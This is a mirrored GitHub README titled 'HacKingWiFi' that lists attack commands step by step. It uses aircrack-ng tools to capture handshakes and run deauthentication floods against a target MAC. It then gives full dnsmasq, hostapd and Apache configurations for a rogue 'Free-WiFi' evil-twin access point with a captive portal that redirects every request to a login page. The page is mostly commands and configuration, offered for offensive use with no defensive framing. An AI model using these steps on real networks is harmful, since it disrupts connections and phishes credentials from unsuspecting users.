Giter Site home page Giter Site logo

hackingwifi's Introduction

בס״ד

HacKingPro
TryHackMe | KoTH
ScanPro | Linfo | Diablo
Offensive-Security | PenTest
Goals | Studies | HacKing | AnyTeam



HacKingWiFi

HacKingWiFi

Algorithm Commands to HacKing WiFi

[1] Choosing Wireless Adapter / Get Interface:

  • [1.1] Cheking for Wireless Network interface: iwconfig
  • [1.2] Cheking for Wireless Network interface: ifconfig

[2] Start Monitoring Mode & Checking Injection Option

  • [2.1] Starting Monitor mode: airmon-ng start $INTERFACE
  • [2.2] Monitoring: aireplay-ng --test $INTERFACE

[3] Scan Wireless’s Area

  • [3.1] Sniff Networks Area Information : airodump-ng $INTERFACE
  • [3.2] Start Capturing Packets: airodump-ng --bssid $BSSID -c $CHANNEL_NUMBER -w $OUTPUT_NAME $INTERFACE
  • [3.3] Inject Packets into Wireless Network: aireplay-ng --deauth 10 -a $MAC_TARGET $INTERFACE

[4] Analysis Captured Files With WireShark:

  • [4.1] Start WireShark: wireshark $OUTPUT_NAME.cap
    • Looking for Authentication Files

[5] Set Up Access point:

  • [5.1] Create dnsmasq Configuration files: nano dnsmasq.conf
#Set the wireless interface
interface=wlan0

#Set the IP range for the clients
dhcp-range=192.168.1.2,192.168.1.250,12h

#Set the gateway IP address
dhcp-option=3,192.168.1.1

#Set DNS server address
dhcp-option=6,192.168.1.1

#Redirect all requests to 192.168.1.1
address=/#/192.168.1.1
  • [5.2] Create hostpad Configuration file: nano hostapd.conf
#Set wireless interface
interface=wlan0

#Set network name
ssid=Free-WiFi

#Set channel
channel=11

#Set driver
driver=nl80211
  • [5.3] Run Commands 1: dnsmasq -C /directory_to_dnsmasq.conf
  • [5.4] Run Commands 2: hostapd /directory_to_hostapd.conf -B
  • [5.5] Create a Fake Access Point with the Name: airbase-ng -e $WIRELESS_NETWORK -c $CHANNEL $INTERFACE

[6] Setting up Captive Portal

  • [6.1] Download and Move Portal files to /var/www/html
  • [6.2] Edit nano /etc/apache2/sites-enabled/000-default.conf & Add to end of it:
<Directory "/var/www/html">
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]
RewriteRule ^(.*)$ http://%1/$1 [R=301,L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ / [L,QSA]
</Directory>
  • [6.3] Start Apache2 Server: sudo service apache2 start
  • [6.4] Connect to Free-WiFi, and that will been automatically redirected to the logging page.

Sources


Alt

hackingwifi's People

Contributors

anlominus avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Forkers

3tternp ijuubs

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.